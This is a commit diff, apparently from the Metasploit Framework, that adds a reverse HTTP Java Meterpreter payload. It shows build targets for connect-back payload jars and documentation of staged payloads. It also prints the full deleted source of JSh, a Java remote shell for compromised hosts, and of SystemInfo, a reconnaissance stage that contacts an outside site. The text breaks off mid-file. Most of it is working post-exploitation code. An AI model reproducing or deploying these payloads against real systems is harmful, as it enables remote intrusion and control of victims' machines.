add support for java/meterpreter/reverse_http. assuming i didn't miss any files, fixes #4946, thanks mihi!

git-svn-id: file:///home/svn/framework3/trunk@13213 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
James Lee 2011-07-18 23:15:06 +00:00
parent 3ca9b51984
commit 3c261c346f
21 changed files with 271 additions and 972 deletions

Binary file not shown.

Binary file not shown.

View File

@ -1,5 +1,5 @@
<?xml version="1.0"?>
<project name="JavaPayload4Meterpreter" default="jar">
<project name="JavaPayload4Meterpreter" default="deploy">
<target name="clean">
<delete dir="build" />
@ -11,45 +11,7 @@
</target>
<target name="jar" depends="compile">
<!-- main jar -->
<jar destfile="JavaPayload4Meterpreter.jar" basedir="build" />
<!-- example 1: standalone JSh -->
<propertyfile file="build/metasploit.dat">
<entry key="LPORT" value="0" />
<entry key="EmbeddedStage" value="JSh"/>
</propertyfile>
<jar destfile="example-standalone-jsh.jar">
<manifest>
<attribute name="Main-Class" value="metasploit.Payload"/>
</manifest>
<fileset dir="build">
<include name="metasploit/Payload.class"/>
<include name="javapayload/stage/Stage.class"/>
<include name="javapayload/stage/JSh*.class"/>
<include name="metasploit.dat"/>
</fileset>
</jar>
<delete file="build/metasploit.dat"/>
<!-- example 2: reverse meterpreter (like loader.jar) -->
<propertyfile file="build/metasploit.dat">
<entry key="LPORT" value="4444" />
<entry key="LHOST" value="127.0.0.1" />
<entry key="EmbeddedStage" value="Meterpreter"/>
</propertyfile>
<jar destfile="example-reverse-meterpreter.jar">
<manifest>
<attribute name="Main-Class" value="metasploit.Payload"/>
</manifest>
<fileset dir="build">
<include name="metasploit/Payload.class"/>
<include name="javapayload/stage/Stage.class"/>
<include name="com/metasploit/meterpreter/MemoryBufferURL*.class"/>
<include name="javapayload/stage/Meterpreter.class"/>
<include name="metasploit.dat"/>
</fileset>
</jar>
<delete file="build/metasploit.dat"/>
<!-- example 3: spawning bind -->
<!-- example: spawning bind -->
<propertyfile file="build/metasploit.dat">
<entry key="Spawn" value="2"/>
<entry key="LPORT" value="5555" />
@ -94,12 +56,9 @@
<move file="build/metasploit/RMILoader.class.tmp" tofile="build/metasploit/RMILoader.class" />
</target>
<target name="deploy" depends="compile,buildrmi">
<target name="deploy" depends="compile">
<copy todir="../../../data/java">
<fileset dir="build">
<exclude name="javapayload/stage/JSh*.class" />
<exclude name="javapayload/stage/SendParameters.class" />
<exclude name="javapayload/stage/SystemInfo.class" />
<exclude name="metasploit/PayloadApplet.class" />
<exclude name="rmi/**" />
<exclude name="metasploit.dat" />

View File

@ -46,10 +46,8 @@ JavaPayload from Metasploit which is written in Ruby and not in Java.</p>
<h2>How to use the <i>Payload</i> class.</h2>
<p>The <i>Payload</i> class is (among a collection of JavaPayload
stage classes) stored inside <tt>JavaPayload4Meterpreter.jar</tt>.</p>
<p>It is a standard java main class (i. e. it has a <tt>public
<p>The <i>Payload</i> class is
a standard java main class (i. e. it has a <tt>public
static void main(String[])</tt> method), so the most obvious way to invoke it
is putting it into a Jar file whose manifest's <tt>Main-Class</tt>
attribute is <tt>metasploit.Payload</tt>. The resuling jar can be
@ -82,22 +80,14 @@ delete a running class file as technically, not the class file but the
Java VM is running).</p>
<p>After that, it will either listen on a port and accept a socket,
connect to an URL (using a protocol like HTTP or HTTPS),
create an active socket connection, or (for debugging purposes) just
uses standard input and standard output; in any case, the resulting
input/output streams are used for the staging</p>
<p>The property file can configure an <i>embedded stage</i> which
will be loaded directly from the current classloader (i. e. JAR). Note
that this feature cannot be used from a sub-process, as the rest of the
JAR file will not be available any longer there.</p>
<p>If no embedded stage is configured, the stage is loaded from the
input stream instead (see below for the data format).</p>
<p>Once the stage is loaded, the streams are handed to the stage.
Stages may require optional parameters (a string) which can be given
either in the property file or by using the <tt>SendParameters</tt>
stage from JavaPayload.</p>
in the property file.</p>
<p>When the stage quits, the payload class terminates and cleans up
after itself if needed.</p>
@ -121,16 +111,21 @@ original filename), made executable (if needed by the OS) and executed.
When this option is present, no staging will be performed and all
options documented below are ignored.</p>
<h3><tt>EmbeddedStage</tt>(<tt>=</tt>)</h3>
<p><b>Note: </b> this option will not work with the <tt>Spawn</tt>
option!</p>
<h3><tt>StageParameters</tt>(<tt>=</tt>)</h3>
<p>Additional parameters to be used by the stage, regardless whether
it was embedded or not. Only few stages support/require parameters.</p>
<h3><tt>URL</tt>(<tt>=</tt>)</h3>
<p>Load the stage from this URL. The URL will be requested and the
resulting stream will be used for loading the stage classes from.
As the stage's output stream will discard all input, this is only
useful with stages (like Meterpreter) that can communicate via
some other means back to the attacker.</p>
<p><b>Note: </b>If this option is given, LHOST and LPORT are ignored.</p>
<h3><tt>LPORT</tt>(<tt>=4444</tt>)</h3>
<p>Port to listen on or to connect to (if <tt>LHOST</tt> is also
@ -161,56 +156,6 @@ stages to make updates easier. All stages listed here can be used
without special "Java" tricks (like serialization or JDWP protocol), to
easily use them from Ruby.</p>
<h3><tt>Exec</tt></h3>
<dl>
<dt><b>Stage classes</b></dt>
<dd>javapayload.stage.Stage, javapayload.stage.StreamForwarder,
javapayload.stage.Exec</dd>
</dl>
<dl>
<dt><b>Parameters</b></dt>
<dd><tt><b>Exec</b> <i>commandline</i></tt></dd>
</dl>
<dl>
<dt><b>Stage protocol</b></dt>
<dd>raw Input/output streams</dd>
</dl>
<p>Execute an executable on the target machine and forward streams.
Stdout and Stderr are merged automatically.</p>
<h3><tt>JSh</tt></h3>
<dl>
<dt><b>Stage classes</b></dt>
<dd>javapayload.stage.Stage, javapayload.stage.JShSignalSender,
javapayload.stage.JShStreamForwarder, javapayload.stage.JSh</dd>
</dl>
<dl>
<dt><b>Parameters</b></dt>
<dd>Not supported</dd>
</dl>
<dl>
<dt><b>Stage protocol</b></dt>
<dd>Plain text</dd>
</dl>
<p>A simple shell written in pure Java.</p>
<pre>Supported commands:
help - show this help
info - list system properties
pwd - show current directory
cd - change directory
ls - list directory
exec - execute native command
cat - show text file
wget - download file
telnet - create TCP connection
paste - create text file
jobs - list or continue jobs
exit - Exit JSh</pre>
<h3><tt>Meterpreter</tt></h3>
<dl>
<dt><b>Stage classes</b></dt>
@ -231,40 +176,11 @@ Stdout and Stderr are merged automatically.</p>
<p>Loader to load the Java version of Metasploit's own
post-exploitation toolkit.</p>
<h3><tt>SendParameters</tt></h3>
<dl>
<dt><b>Stage classes</b></dt>
<dd><i>all classes needed by the stage to use</i>,
javapayload.stage.SendParameters</dd>
</dl>
<dl>
<dt><b>Parameters</b></dt>
<dd>Not supported</dd>
</dl>
<dl>
<dt><b>Stage protocol</b></dt>
<dd>First transfer of parameters, then as the stage to use</dd>
</dl>
<p>"Intermediate" stage that can be used to change the stage
parameters in cases where they cannot be cast in stone when the payload
is built.</p>
<p>After sending the stage, but before sending data for the stage,
you have to send the parameters:</p>
<p>The parameters start with a unsigned big-endian 16-bit integer
that specifies the number of parameters. Then each parameter is sent in
Java's <a
href="http://download.oracle.com/javase/1.4.2/docs/api/java/io/DataInput.html#readUTF()">modified
UTF string format</a>. After that, the actual data for the stage can be
sent.</p>
<h3><tt>Shell</tt></h3>
<dl>
<dt><b>Stage classes</b></dt>
<dd>javapayload.stage.Stage, javapayload.stage.StreamForwarder,
javapayload.stage.Exec</dd>
javapayload.stage.Shell</dd>
</dl>
<dl>
<dt><b>Parameters</b></dt>
@ -278,62 +194,5 @@ sent.</p>
<p>This stager loads /bin/sh on Unix systems and cmd.exe on Windows
systems, and else just behaves like the <tt>Exec</tt> stage.</p>
<h3><tt>SystemInfo</tt></h3>
<dl>
<dt><b>Stage classes</b></dt>
<dd>javapayload.stage.Stage, javapayload.stage.SystemInfo</dd>
</dl>
<dl>
<dt><b>Parameters</b></dt>
<dd>Not supported</dd>
</dl>
<dl>
<dt><b>Stage protocol</b></dt>
<dd>Plain text</dd>
</dl>
<p>This stage just returns some system and network information. The
input stream is ignored. Useful as an embedded stage for automatic data
gathering with <tt>netcat</tt>, but not useful for anything else.</p>
<h3><tt>UpExec</tt></h3>
<dl>
<dt><b>Stage classes</b></dt>
<dd>javapayload.stage.Stage, javapayload.stage.StreamForwarder,
javapayload.stage.UpExec</dd>
</dl>
<dl>
<dt><b>Parameters</b></dt>
<dd><b>UpExec</b> <i>program_name</i> <i>arguments</i></dd>
</dl>
<dl>
<dt><b>Stage protocol</b></dt>
<dd>raw Input/output streams</dd>
</dl>
<p>Acts like exec, just that the a file can be uploaded first
(stored with a random file name) which will be executed with parameters.</p>
<p>The file is uploaded directly after uploading the stage classes,
prefixed by a 32-bit big-endian integer size value.</p>
<h2>Included example jars</h2>
<h3><tt>example-reverse-meterpreter.jar</tt></h3>
<p>Will connect back to metasploit at localhost:4444. and try to
bootstrap meterpreter (via an embedded stage). Except for the hard-coded
address in the property file, it acts like <i>loader.jar</i>.</p>
<h3><tt>example-spawn-bind.jar</tt></h3>
<p>Will spawn 2 Java processes and then listen on port 5555 for
incoming connections. No embedded stages.</p>
<h3><tt>example-standalone-jsh.jar</tt></h3>
<p>Will run JSh on stdin/stdout. Example for the stdin/stdout
feature and useful for testing JSh easily.</p>
</body>
</html>

View File

@ -1,346 +0,0 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PipedInputStream;
import java.io.PipedOutputStream;
import java.io.PrintStream;
import java.net.Socket;
import java.net.URL;
import java.util.ArrayList;
import java.util.Enumeration;
import java.util.List;
public class JSh implements Stage, Runnable {
// each job is an Object[] to avoid a pure data class
// job[0] = name (String)
// job[1] = raw object (Socket or Process or Stream) for closing
// job[2] = OutputStream to forward user input to
// job[3..length-1] = JshStreamForwarders to redirect output
private final List jobs = new ArrayList();
private PipedOutputStream signalStream;
private InputStream originalIn;
private PrintStream pout;
/**
* Forward data from one stream to another. Closes the input stream but not the output stream!
*/
private void forward(InputStream in, OutputStream out) throws IOException {
final byte[] buf = new byte[4096];
int len;
while ((len = in.read(buf)) != -1) {
out.write(buf, 0, len);
if (in.available() == 0) {
out.flush();
}
}
in.close();
}
private boolean forwardEscapable(InputStream in, Object[] job) throws IOException {
final OutputStream out = (OutputStream) job[2];
int b;
boolean startOfLine = true, tilde = false, interrupted = true;
while (true) {
if (interrupted && job.length > 3) {
boolean allFinished = true;
for (int i = 3; i < job.length; i++) {
if (!((JShStreamForwarder) job[i]).isFinished()) {
allFinished = false;
break;
}
}
if (allFinished) {
pout.println("Finished: " + job[0]);
return false;
}
}
interrupted = false;
if ((b = in.read()) != -1) {
if (b == 0) {
b = in.read();
if (b != 0) {
interrupted = true;
continue;
}
}
if (startOfLine && b == '~') {
tilde = true;
} else if (tilde && b == '&') {
return true;
} else if (tilde && b == '.') {
return false;
} else {
if (tilde && b != '~') {
out.write('~');
}
out.write(b);
if (in.available() == 0) {
out.flush();
}
tilde = false;
}
startOfLine = (b == '\r' || b == '\n');
} else {
// our control connection has died...
return false;
}
}
}
private void handleBackgroundJob(DataInputStream in, Object[] job) throws Exception {
pout.println("Press ~& to suspend, ~. to stop job.");
for (int i = 3; i < job.length; i++) {
((JShStreamForwarder) job[i]).pauseForwarding(false);
}
if (forwardEscapable(in, job)) {
for (int i = 3; i < job.length; i++) {
((JShStreamForwarder) job[i]).pauseForwarding(true);
}
jobs.add(job);
pout.println("Job suspended, see 'jobs'.");
} else {
for (int i = 3; i < job.length; i++) {
((JShStreamForwarder) job[i]).stopForwarding();
}
if (job[1] instanceof Socket) {
((Socket) job[1]).close();
} else if (job[1] instanceof Process) {
((Process) job[1]).destroy();
} else {
((OutputStream) job[1]).close();
}
}
}
public void run() {
try {
try {
int b;
while ((b = originalIn.read()) != -1) {
signalStream.write(b);
if (b == 0) {
signalStream.write(b);
}
if (originalIn.available() == 0) {
signalStream.flush();
}
}
} finally {
originalIn.close();
signalStream.close();
}
} catch (final Throwable ex) {
ex.printStackTrace(pout);
}
}
public void start(DataInputStream originalIn, OutputStream out, String[] parameters) throws Exception {
this.originalIn = originalIn;
signalStream = new PipedOutputStream();
pout = new PrintStream(out, true);
final DataInputStream in = new DataInputStream(new PipedInputStream(signalStream));
final Thread copier = new Thread(this);
copier.setDaemon(true);
copier.start();
final JShSignalSender ss = new JShSignalSender(signalStream, pout);
File pwd = new File(".").getCanonicalFile();
while (true) {
pout.print("! ");
// yes I know this is deprecated. but BufferedReader is way too bloated for what we need here
String cmd = in.readLine();
while (cmd.indexOf("\0$") != -1) {
cmd = cmd.substring(0, cmd.indexOf("\0$")) + cmd.substring(cmd.indexOf("\0$") + 2);
}
if (cmd.length() == 0) {
continue;
}
int pos = cmd.indexOf(' ');
String params = "";
if (pos != -1) {
params = cmd.substring(pos + 1);
cmd = cmd.substring(0, pos);
}
cmd = cmd.toLowerCase().intern();
try {
if (cmd == "info") {
if (params.length() == 0) {
final Enumeration e = System.getProperties().propertyNames();
while (e.hasMoreElements()) {
final String property = (String) e.nextElement();
pout.println(property + "=" + System.getProperty(property));
}
} else {
pout.println(params + "=" + System.getProperty(params));
}
} else if (cmd == "pwd") {
pout.println(pwd.getPath());
} else if (cmd == "cd") {
File f = new File(pwd, params);
if (f.exists() && f.isDirectory()) {
pwd = f.getCanonicalFile();
} else {
f = new File(params);
if (f.exists() && f.isDirectory()) {
pwd = f.getCanonicalFile();
} else {
pout.println("Path not found.");
}
}
pout.println(pwd.getPath());
} else if (cmd == "ls") {
final File[] roots = File.listRoots();
for (int i = 0; i < roots.length; i++) {
pout.println(roots[i].getAbsolutePath() + "\t[ROOT]");
}
pout.println();
final File[] dir = pwd.listFiles();
for (int i = 0; i < dir.length; i++) {
pout.println(dir[i].getName() + "\t" + (dir[i].isDirectory() ? "[DIR]" : "" + dir[i].length()) + "\t" + dir[i].lastModified());
}
} else if (cmd == "exec") {
Process proc;
handleBackgroundJob(in, new Object[] { "exec " + params, proc = Runtime.getRuntime().exec(params), proc.getOutputStream(), new JShStreamForwarder(proc.getInputStream(), pout, ss), new JShStreamForwarder(proc.getErrorStream(), pout, ss) });
} else if (cmd == "cat") {
final FileInputStream fis = new FileInputStream(new File(pwd, params));
forward(fis, pout);
} else if (cmd == "wget") {
pos = params.indexOf(' ');
if (pos == -1) {
pout.println(" Usage: wget <URL> <filename>");
} else {
final FileOutputStream fos = new FileOutputStream(new File(pwd, params.substring(pos + 1)));
forward(new URL(params.substring(0, pos)).openStream(), fos);
fos.close();
}
} else if (cmd == "telnet") {
pos = params.indexOf(' ');
if (pos == -1) {
pout.println(" Usage: telnet <host> <port>");
} else {
Socket s;
handleBackgroundJob(in, new Object[] { "telnet " + params, s = new Socket(params.substring(0, pos), Integer.parseInt(params.substring(pos + 1))), s.getOutputStream(), new JShStreamForwarder(s.getInputStream(), pout, ss) });
}
} else if (cmd == "paste") {
FileOutputStream fos;
handleBackgroundJob(in, new Object[] { "paste " + params, fos = new FileOutputStream(new File(pwd, params)), fos });
} else if (cmd == "jobs") {
if (params.length() == 0) {
for (int i = 0; i < jobs.size(); i++) {
pout.println((i + 1) + "\t" + ((Object[]) jobs.get(i))[0]);
}
} else {
handleBackgroundJob(in, (Object[]) jobs.remove(Integer.parseInt(params) - 1));
}
} else if (cmd == "exit") {
break;
} else if (cmd == "help") {
params = params.toLowerCase().intern();
if (params == "info") {
pout.println("info: show system properties.");
pout.println(" Usage: info [property]");
} else if (params == "pwd") {
pout.println("pwd: show current directory.");
pout.println(" Usage: pwd");
} else if (params == "cd") {
pout.println("cd: change directory.");
pout.println(" Usage: cd <path>");
} else if (params == "ls") {
pout.println("ls: list directory.");
pout.println(" Usage: ls");
} else if (params == "exec") {
pout.println("exec: execute native command.");
pout.println(" Usage: exec <command>");
} else if (params == "cat") {
pout.println("cat: show text file.");
pout.println(" Usage: cat <filename>");
} else if (params == "wget") {
pout.println("wget: download file.");
pout.println(" Usage: wget <URL> <filename>");
} else if (params == "telnet") {
pout.println("telnet: create TCP connection.");
pout.println(" Usage: telnet <host> <port>");
} else if (params == "paste") {
pout.println("paste: create text file.");
pout.println(" Usage: paste <filename>");
} else if (params == "jobs") {
pout.println("jobs: list or continue jobs.");
pout.println(" Usage: jobs [index]");
} else if (params == "exit") {
pout.println("exit: Exit JSh.");
pout.println(" Usage: exit");
} else {
pout.println("help: show information about commands.");
pout.println(" Usage: help [command]");
pout.println();
pout.println("Supported commands:");
pout.println(" help - show this help");
pout.println(" info - list system properties");
pout.println(" pwd - show current directory");
pout.println(" cd - change directory");
pout.println(" ls - list directory");
pout.println(" exec - execute native command");
pout.println(" cat - show text file");
pout.println(" wget - download file");
pout.println(" telnet - create TCP connection");
pout.println(" paste - create text file");
pout.println(" jobs - list or continue jobs");
pout.println(" exit - Exit JSh");
pout.println();
pout.println("When inside an interactive command, enter ~. on a new");
pout.println("line to exit from that command. Enter ~& to background the command.");
pout.println("Enter ~~ to start a line with a ~ character");
}
} else {
pout.println("Unknown command: " + cmd);
pout.println("Type help for more info.");
}
} catch (final Exception ex) {
ex.printStackTrace(pout);
}
}
ss.terminate();
pout.close();
}
}

View File

@ -1,84 +0,0 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.PipedOutputStream;
import java.io.PrintStream;
/**
* For some strange reason {@link PipedOutputStream} assumes something bad[tm] happened if a thread which wrote last to it dies without closing it. Therefore, we send all the "process dead" signals to the output stream via a dedicated thread that does not end before Jsh ends...
*/
public class JShSignalSender extends Thread {
private final PipedOutputStream signalStream;
private boolean doSignal, doTerminate;
private final PrintStream errorStream;
public JShSignalSender(PipedOutputStream signalStream, PrintStream errorStream) {
this.signalStream = signalStream;
this.errorStream = errorStream;
start();
}
public void run() {
try {
while (true) {
synchronized (this) {
while (!doSignal && !doTerminate) {
wait();
}
if (doTerminate) {
break;
}
doSignal = false;
}
signalStream.write(new byte[] { 0, '$' });
signalStream.flush();
}
signalStream.close();
} catch (final Throwable ex) {
ex.printStackTrace(errorStream);
}
}
public synchronized void signal() {
doSignal = true;
notifyAll();
}
public synchronized void terminate() {
doTerminate = true;
notifyAll();
}
}

View File

@ -1,108 +0,0 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.InputStream;
import java.io.PrintStream;
public class JShStreamForwarder extends Thread {
private final InputStream in;
private PrintStream out;
private boolean paused = false, finished = false;
private final JShSignalSender signalSender;
public JShStreamForwarder(InputStream in, PrintStream out, JShSignalSender signalSender) {
this.in = in;
this.out = out;
this.signalSender = signalSender;
start();
}
public synchronized boolean isFinished() {
return finished;
}
public synchronized void pauseForwarding(boolean paused) {
this.paused = paused;
this.notifyAll();
}
public void run() {
try {
try {
final byte[] buf = new byte[4096];
int length;
while ((length = in.read(buf)) != -1) {
synchronized (this) {
while (paused) {
wait();
}
if (out != null) {
out.write(buf, 0, length);
if (in.available() == 0) {
out.flush();
}
}
}
}
synchronized (this) {
finished = true;
if (!paused) {
signalSender.signal();
}
}
} finally {
in.close();
}
} catch (final Throwable ex) {
synchronized (this) {
while (paused) {
try {
wait();
} catch (final InterruptedException ex2) {
}
}
if (out != null) {
ex.printStackTrace(out);
out.flush();
}
}
}
}
public synchronized void stopForwarding() {
out = null;
}
}

View File

@ -1,53 +0,0 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.DataInputStream;
import java.io.OutputStream;
public class SendParameters implements Stage {
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
int paramCount = in.readUnsignedShort();
String[] params = new String[paramCount+2];
params[0] = parameters[0];
params[1] = "--";
for (int i = 2; i < params.length; i++) {
params[i] = in.readUTF();
}
Stage realStage = (Stage) Class.forName("javapayload.stage."+params[2]).newInstance();
realStage.start(in, out, params);
}
}

View File

@ -1,92 +0,0 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* - Neither name of the copyright holders nor the names of its
* contributors may be used to endorse or promote products derived from
* this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND THE CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
* HOLDERS OR THE CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
* OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
* ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
* USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
package javapayload.stage;
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.PrintStream;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.URL;
import java.util.Enumeration;
public class SystemInfo implements Stage {
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
PrintStream pout = new PrintStream(out, true);
pout.println("System properties:");
pout.println("~~~~~~~~~~~~~~~~~~");
for (final Enumeration e = System.getProperties().propertyNames(); e.hasMoreElements(); ) {
final String property = (String) e.nextElement();
pout.println(property + "=" + System.getProperty(property));
}
pout.println();
pout.println("Local address:");
pout.println("~~~~~~~~~~~~~~");
InetAddress addr = InetAddress.getLocalHost();
pout.println("Name: "+addr.getHostName());
pout.println("Canonical Name: "+addr.getCanonicalHostName());
pout.println("IP Address: "+addr.getHostAddress());
pout.println();
pout.println("Network interfaces:");
pout.println("~~~~~~~~~~~~~~~~~~~");
for(final Enumeration e = NetworkInterface.getNetworkInterfaces(); e.hasMoreElements(); ) {
NetworkInterface iface = (NetworkInterface) e.nextElement();
pout.println(iface.getName());
pout.println(" Display Name: "+iface.getDisplayName());
for (final Enumeration e2 = iface.getInetAddresses(); e2.hasMoreElements(); ) {
InetAddress ifaddr = (InetAddress) e2.nextElement();
pout.println(" Address:");
pout.println(" Name: "+ifaddr.getHostName());
pout.println(" Canonical Name: "+ifaddr.getCanonicalHostName());
pout.println(" IP Address: "+ifaddr.getHostAddress());
}
}
pout.println();
pout.println("External IP Address:");
pout.println("~~~~~~~~~~~~~~~~~~~~");
try {
BufferedReader br = new BufferedReader(new InputStreamReader(new URL("http://www.ippages.com/simple/").openStream()));
pout.println(br.readLine());
br.close();
} catch (Exception ex) {
ex.printStackTrace(pout);
}
pout.println();
pout.close();
}
}

View File

@ -1,71 +0,0 @@
/*
* Java Payloads.
*
* Copyright (c) 2010, Michael 'mihi' Schierl
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* - Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
*
* - Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
